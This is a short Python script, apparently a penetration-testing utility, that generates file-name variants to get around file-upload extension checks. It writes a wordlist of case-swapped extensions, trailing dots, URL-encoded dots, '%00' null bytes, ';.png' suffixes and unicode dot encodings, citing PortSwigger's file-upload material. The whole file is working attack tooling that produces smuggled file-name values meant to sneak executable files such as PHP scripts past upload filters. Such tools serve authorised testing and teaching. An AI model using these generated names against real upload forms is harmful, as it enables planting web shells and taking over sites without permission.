#!/usr/bin/env python
import argparse
from termcolor import colored
"""
Script to generate derivations of a file name in order to bypass validation 
on file name performed by a file upload feature.

Source "https://portswigger.net/web-security/file-upload" section "Obfuscating file extensions".
"""


def extension_cases(base_filename):
    names = []
    parts = base_filename.split(".")
    base = parts[0]
    ext = parts[1]
    names.append(f"{base}.{ext.lower()}")
    names.append(f"{base}.{ext.upper()}")
    ext = ext.lower()
    for position in range(len(ext)):
        if position == 0:
            new_ext = ext[0].upper() + ext[1:]
        elif position != (len(ext)-1):
            new_ext = ext[0:position] + ext[position].upper() + ext[position+1:]
        else:
            new_ext = ext[0:position] + ext[position].upper()
        names.append(f"{base}.{new_ext}")
    return names


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Script to generate derivations of a file name in order to bypass validation on file name performed by a file upload feature.")
    required_params = parser.add_argument_group("required named arguments")
    required_params.add_argument("-n", action="store", dest="base_filename", help="Base file name to derivate (ex: test.php).", required=True)
    parser.add_argument("-e", action="store", dest="allowed_ext", help="Extension allowed by the upload feature (ex: png).", required=False, default="png")
    parser.add_argument("-o", action="store", dest="out_file", help="Output file path in which store the derivations (ex: /tmp/derivations.txt).", required=False, default="/tmp/derivations.txt")
    args = parser.parse_args()
    derivations = []
    print(colored(f"[+] Generate name derivation from '{args.base_filename}' file name...", "magenta"))
    # Variation on the extension case
    ext_cases = extension_cases(args.base_filename)
    derivations.extend(ext_cases)
    # Add a dot at the end of each variation on case
    for ext_case in ext_cases:
        derivations.append(f"{ext_case}.")
    # URL encode the dot
    dot_url_encoded = "%" + "2E"  # VScode code formatting mess with a single string :(
    for ext_case in ext_cases:
        v = ext_case.replace(".", dot_url_encoded)
        derivations.append(f"{v}")
        derivations.append(f"{v}{dot_url_encoded}")
    # Semicolon and URL encoded NULL Byte
    null_byte_url_encoded = "%" + "00"
    for ext_case in ext_cases:
        derivations.append(f"{ext_case};.{args.allowed_ext}")
        derivations.append(f"{ext_case}{null_byte_url_encoded}.{args.allowed_ext}")
    # Try using multibyte unicode characters, which may be converted to null bytes and dots after unicode conversion or normalization.
    # Sequences like xC0 x2E, xC4 xAE or xC0 xAE may be translated to x2E if the filename parsed as a UTF-8 string,
    # but then converted to ASCII characters before being used in a path.
    for ext_case in ext_cases:
        v = ext_case.replace(".", "\\u2E")
        derivations.append(f"{v}")
        v = ext_case.replace(".", "%" + "u2E")
        derivations.append(f"{v}")
        v = ext_case.replace(".", "U+2E")
        derivations.append(f"{v}")
        for unicode_sequence in ["xC0x2E", "xC4xAE", "xC0xAE"]:
            for prefix in ["\\u", "%"+"u", "U+"]:
                dot_encoded = unicode_sequence.replace("x", prefix)
                v = ext_case.replace(".", dot_encoded)
                derivations.append(f"{v}")
    print(f"{len(derivations)} derivations generated.")
    print(colored(f"[+] Save derivations to file '{args.out_file}'...", "magenta"))
    with open(args.out_file, mode="w", encoding="utf-8") as f:
        f.write("\n".join(derivations))
    print(f"Derivations saved.")
